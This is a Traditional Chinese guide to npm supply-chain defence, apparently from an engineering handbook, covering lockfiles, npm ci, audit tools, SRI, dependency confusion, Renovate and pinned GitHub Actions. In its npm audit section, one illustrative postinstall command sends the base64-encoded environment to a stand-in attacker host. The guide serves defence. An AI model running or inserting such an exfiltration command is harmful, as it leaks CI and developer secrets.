每一次 npm install 都是一次信任決策。一個普通的前端專案有數百個直接相依套件,以及數千個間接相依套件——這些套件由你從未謀面的人撰寫、由安全成熟度參差不齊的團隊維護、透過任何人都能發布的公開 registry 散佈。供應鏈安全(supply chain security)的核心是將這整個相依圖(dependency graph)視為攻擊面,並在每個可能出錯的節點施加控制:你安裝了什麼、如何安裝、從哪裡載入、以及你能否驗證收到的就是發布的那個版本。
威脅態勢已大幅演進。2018 年至 2024 年間,惡意 npm 套件的回報數從數十件成長至每年數千件。曾經只是機會性的 typosquatting 嘗試,已演化為精心協調的攻擊:針對維護者的憑證釣魚、只在 CI 環境觸發的 CI-aware payload、以及會利用竊取的 npm token 感染受害者所有套件的自我傳播蠕蟲。2025 年 9 月,攻擊者釣魚取得 chalk 套件維護者的帳號,在帳號遭奪取後 16 分鐘內,便發布了 18 個套件的惡意版本——這些套件每週合計下載量超過 26 億次。供應鏈攻擊已不再只是理論,而是大規模的實際威脅。
設計思考
為什麼 lockfile 是供應鏈防禦的核心
沒有 lockfile 時,npm install 會根據 semver range 解析相依套件。package.json 中的 ^1.2.3 會解析到任何 1.x.y >= 1.2.3 的版本。如果攻擊者在你從未直接使用、藏在相依樹三層深處的某個間接套件上發布了 1.2.4 惡意版本,下一次 npm install 會靜默地安裝它。你看不到任何 diff,package.json 沒有任何變動,CI 照常通過——因為惡意程式碼並不在已知的 advisory 資料庫中。
Lockfile 透過固定相依樹中每個套件(包含間接相依)的精確版本與 integrity hash 來解決這個問題。npm ci 強制執行 lockfile:若 package.json 與 lockfile 不一致則直接失敗,且永遠不修改 lockfile。這使得 npm ci 成為 CI pipeline 中唯一正確的安裝指令。在 CI 中使用 npm install 是一個會靜默漂移的危險選擇。
為什麼單靠 npm audit 不夠
npm audit 查詢的是 npm Advisory Database:一個收錄已回報、已審查、已取得 CVE 編號的漏洞資料庫。這是一個反應式(reactive)資料庫——它知道昨天的漏洞,但不知道今天的。今天早上剛發布的惡意套件——其 postinstall script 會靜默地將所有環境變數外洩至攻擊者伺服器——npm audit 會顯示零個發現。沒有 CVE,從未被回報,它是新的。
Socket.dev 採用行為分析(behavioral analysis)的方式。它分析套件實際的行為:安裝過程中是否發送網路請求?是否執行 shell 指令?是否存取套件目錄以外的檔案?套件名稱是否近似於某個熱門套件的 typosquat?無論是否有人已撰寫 security advisory,這些訊號都是可見的。一個在 postinstall script 中執行 curl https://attacker.com/exfil?data=$(env | base64) 的套件,在任何 CVE 存在之前就會觸發 Socket 警告。
兩種方式互補,而非相互取代。npm audit 高效捕捉已知漏洞;行為分析捕捉零日攻擊與刻意惡意的套件。成熟的供應鏈安全姿態同時使用兩者。
為什麼 SRI 對 CDN 載入的 script 至關重要
當你寫下 <script src="https://cdn.jsdelivr.net/npm/jquery/dist/jquery.min.js"> 時,你正在做出無條件的信任授予。如果該 CDN 遭到入侵,每個包含該標籤的頁面的每個訪客,都會收到攻擊者選擇發送的任何內容——並在你的 origin 中擁有完整的 script 執行權限。CDN 是具吸引力的攻擊目標,正是因為它們同時向數百萬使用者提供內容;單一入侵可造成極大的爆炸半徑。
SRI(Subresource Integrity)透過要求瀏覽器在執行資源之前先驗證,打破了這種無條件信任。integrity 屬性攜帶預期檔案內容的密碼學 hash。如果 CDN 傳遞的位元組不能產生該 hash,瀏覽器拒絕執行該 script。透過受損 CDN 提供修改版 JavaScript 的攻擊者,會因 hash 不符而遭瀏覽器自動攔截——無需任何伺服器端變更,也不需要 WAF 規則。
crossorigin="anonymous" 屬性在跨來源資源中必須與 integrity 一起使用。沒有它,瀏覽器無法存取完整性驗證所需的 CORS 回應標頭,並會退回到不進行驗證的方式載入資源——靜默地失去所有 SRI 保護。這稱為「fail-open」行為,是最常見的 SRI 設定錯誤。
為什麼持續更新相依套件優於凍結版本
有些團隊會凍結相依套件版本,以避免更新帶來的 breaking change 風險。這是一種風險認知的倒置。minor 或 patch 版本更新帶來 breaking change 的風險很低、範圍有限且可復原——你的測試會抓到問題,你可以釘回上一個版本。而未修補的重大漏洞的風險是無界的:可能意味著使用者資料外洩、CI 機密竊取或正式環境入侵,且這些都無法在事後復原。
Renovate 和 Dependabot 等自動化更新工具將保持版本更新的摩擦降至近乎為零:它們開 PR、你的 CI 跑測試、PR 自動合併或在測試失敗時阻擋。凍結相依套件、每季跑一次 npm audit 的團隊,會積累多年的已知漏洞。每週審查並合併 Renovate PR 的團隊,幾乎不攜帶任何已知漏洞。
最佳實踐
必須(MUST)在 CI 中使用 npm ci,而非 npm install。 npm ci 精確讀取 lockfile、在 lockfile 與 package.json 不一致時失敗、永遠不寫入 lockfile,並每次執行全新安裝。它是確定性的(deterministic)。禁止(MUST NOT)在 CI pipeline 中使用 npm install——它是非確定性的,每次執行可能靜默解析出不同的相依版本。
應該(SHOULD)在 CI 中使用 --ignore-scripts。 Install script 是惡意套件在安裝時最主要的執行路徑。npm ci --ignore-scripts 會阻止所有套件的 preinstall、install、postinstall script 執行。應該(SHOULD)僅為確實需要 install script 的套件(例如 husky)加入明確的例外。
應該(SHOULD)將私有套件的 scope 指向私有 registry。 Dependency confusion 攻擊成立的原因是 npm 預設會在公開 registry 解析未 scope 的套件名稱。若你的內部套件名為 payment-service,而攻擊者在公開 registry 發布了版本號更高的 payment-service,npm 會解析到攻擊者的版本。應該(SHOULD)為所有內部套件加上 scope(@myorg/payment-service),並在 .npmrc 中將 @myorg 路由到私有 registry,公開 registry 便不會被用於該 scope。
必須(MUST)為所有 CDN script 和 link 標籤加上 SRI hash。 禁止(MUST NOT)從文件中複製 CDN 連結而不附加 integrity 和 crossorigin 屬性。srihash.org 產生器和 openssl 指令都能在數秒內產生正確的 hash。
應該(SHOULD)及時審查自動化相依套件更新的 PR。 積壓的 Renovate PR 意味著你的相依樹中存在已知漏洞而你選擇不修復。應該(SHOULD)建立每週一次的定期審查節奏。在 CI 驗證通過後,對 patch 和 minor 更新啟用 automerge。
應該(SHOULD)在相依套件多或頻繁新增套件的 repository 上使用 Socket.dev。 安裝 GitHub App;它會在 pull request 中,針對新引入或更新的、表現出可疑行為的套件發出評論。應該(SHOULD)搭配 npm audit 一起使用,因為它能捕捉尚無 CVE 的惡意套件。
必須(MUST)將 GitHub Actions 釘定至完整的 commit SHA。 使用第三方 Actions 的 CI workflow 本身也是一個供應鏈攻擊面。禁止(MUST NOT)釘定至可變 tag(@v4)——tag 隨時可以被移動指向不同的 commit。釘定至完整 SHA 是不可變且安全的。
運作原理
下圖追蹤供應鏈攻擊從發布到外洩的完整路徑,並展示各個防禦控制在何處介入。
範例
1. .npmrc:將私有套件 scope 指向私有 registry,防止 dependency confusion
# .npmrc(放置於 repository 根目錄)
# 將 @myorg scope 的套件路由至私有 registry。
# 對於此 scope,公開 npm registry 永遠不會被查詢。
@myorg:registry=https://registry.myorg.com
# 為私有 registry 要求驗證。
//registry.myorg.com/:_authToken=${NPM_TOKEN}若缺少此設定,一旦有人在公開 npm registry 以版本 99.0.0 發布 @myorg/payment-service,npm 會因版本號較高而優先選擇攻擊者的版本,而非你內部的 1.2.3。將 namespace scope 指向私有 registry 可完全消除 confusion 攻擊向量。
2. GitHub Actions CI:使用 npm ci 和 npm audit
# .github/workflows/ci.yml
name: CI
on:
push:
branches: [main]
pull_request:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@1d0ff469b7ec7b3cb9d8673fde0c81c44821de2a # v4.2.0
with:
node-version: '20'
cache: 'npm'
# --ignore-scripts:阻止 preinstall / postinstall 執行。
# 這是對抗惡意 install script 的主要防線。
# 僅為確實需要的套件加入例外。
- name: Install dependencies
run: npm ci --ignore-scripts
# --audit-level=moderate:在發現 moderate、high 或 critical 問題時讓 CI 失敗。
# 不要附加 || true——那會靜默抑制唯一的自動化漏洞警告。
- name: Audit dependencies
run: npm audit --audit-level=moderate
- name: Build
run: npm run build注意:兩個 Actions 都釘定至完整的 commit SHA 而非可變 tag。註解記錄了人類可讀的版本號以便維護。
3. CDN 載入的 script 加上 SRI integrity 屬性
<!-- 沒有 SRI:對 CDN 的無條件信任 -->
<!-- 錯誤——不要在正式環境使用此模式 -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"></script>
<!-- 有 SRI:瀏覽器在執行前驗證 hash -->
<!-- 正確 -->
<script
src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs"
crossorigin="anonymous"
></script>
<!-- 樣式表的 SRI -->
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
crossorigin="anonymous"
/>crossorigin="anonymous" 屬性是必須的。若缺少它,瀏覽器會在沒有 integrity 驗證的情況下載入資源——靜默地失去所有 SRI 保護。
4. 使用 openssl 產生 SRI hash
# 先下載檔案,再產生 sha384 hash。
curl -sL https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js \
-o jquery.min.js
# 產生 hash。
openssl dgst -sha384 -binary jquery.min.js | openssl base64 -A
# 輸出即為 integrity 屬性的值,需加上 "sha384-" 前綴。
# 範例輸出:
# 1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs
# 完整屬性值:
# integrity="sha384-1H217gwSVyLSIfaLxHbE7dRb3v4mYCKbpQvzx0cegeju1MVsGrX5xXxAvs/HgeFs"
# 也可使用 srihash.org 網頁工具進行一次性產生。5. Renovate 設定:自動化相依套件更新
{
"$schema": "https://docs.renovatebot.com/renovate-schema.json",
"extends": [
"config:recommended"
],
"schedule": ["before 6am on Monday"],
"packageRules": [
{
"matchUpdateTypes": ["patch"],
"automerge": true,
"automergeType": "pr",
"platformAutomerge": true
},
{
"groupName": "dev tooling",
"matchDepTypes": ["devDependencies"],
"matchPackagePatterns": ["eslint", "prettier", "typescript", "vite"],
"matchUpdateTypes": ["minor", "patch"],
"automerge": true
},
{
"matchUpdateTypes": ["major"],
"automerge": false,
"labels": ["dependency-major"]
}
],
"vulnerabilityAlerts": {
"labels": ["security"],
"automerge": true
}
}此設定的行為:CI 通過後自動合併 patch 更新;將常見的 dev tooling 更新分組,避免 PR 佇列被噪音填滿;major 版本升級需要人工審查;安全漏洞修復無論更新類型為何都自動合併。
6. 發布時加入 provenance(SLSA Level 2+)
# .github/workflows/publish.yml
name: Publish
on:
push:
tags: ['v*']
jobs:
publish:
runs-on: ubuntu-latest
permissions:
id-token: write # provenance 驗證所需
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@1d0ff469b7ec7b3cb9d8673fde0c81c44821de2a # v4.2.0
with:
node-version: '20'
registry-url: 'https://registry.npmjs.org'
- run: npm ci --ignore-scripts
- run: npm run build
# --provenance 將發布的套件連結至此特定 repository 和 workflow run。
# 可透過 npm audit signatures 驗證。
- run: npm publish --provenance --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}使用者安裝後可透過 npm audit signatures 驗證 provenance。
常見錯誤
不提交 lockfile。 「lockfile 會造成 merge conflict」這個論點是真的——lockfile 的合併衝突確實存在。解決方法是接受其中一方並重新執行安裝,整個過程不到一分鐘。替代方案——在沒有 lockfile 的情況下運作——意味著每次 CI 執行都可能靜默地解析出不同的相依樹。偶爾解決一次 lockfile merge conflict 的摩擦,相比靜默安裝新的惡意間接相依套件的風險,幾乎可以忽略不計。
使用 || true 抑制 npm audit 失敗。 這個模式出現在 CI 設定中,通常是因為團隊隨時間積累了大量 audit 失敗,最終選擇關閉 gate 而非修復問題。結果是一個執行 npm audit、發現已知漏洞、然後無論如何繼續建置並回報成功的 CI。Audit 輸出被產生後立即被丟棄。如果 audit gate 一直失敗,正確的回應是修復漏洞,或對已接受的風險明確添加例外——而不是關閉 gate。
假設 devDependencies 是安全的。 devDependencies 不會安裝在正式環境,但它們會安裝在你的開發環境和 CI pipeline 中。你的 CI 環境存有 NODE_AUTH_TOKEN、AWS 憑證、GitHub token 和部署金鑰。devDependencies 中帶有 postinstall script 的惡意套件可以外洩所有這些機密。2025 年 9 月的 Shai-Hulud 蠕蟲專門鎖定 CI 環境竊取 npm token,並利用它們進行傳播。devDependencies 並非低風險的類別。
相關 FEE
- FEE-1200:資訊安全總覽 — 分類脈絡與前端攻擊面
- FEE-1506:CI 中的密鑰、環境變數與資安 — CI 中的密鑰管理與 npm audit
- FEE-1401:使用 Sentry 進行錯誤追蹤 — 在正式環境中偵測來自受損套件的異常行為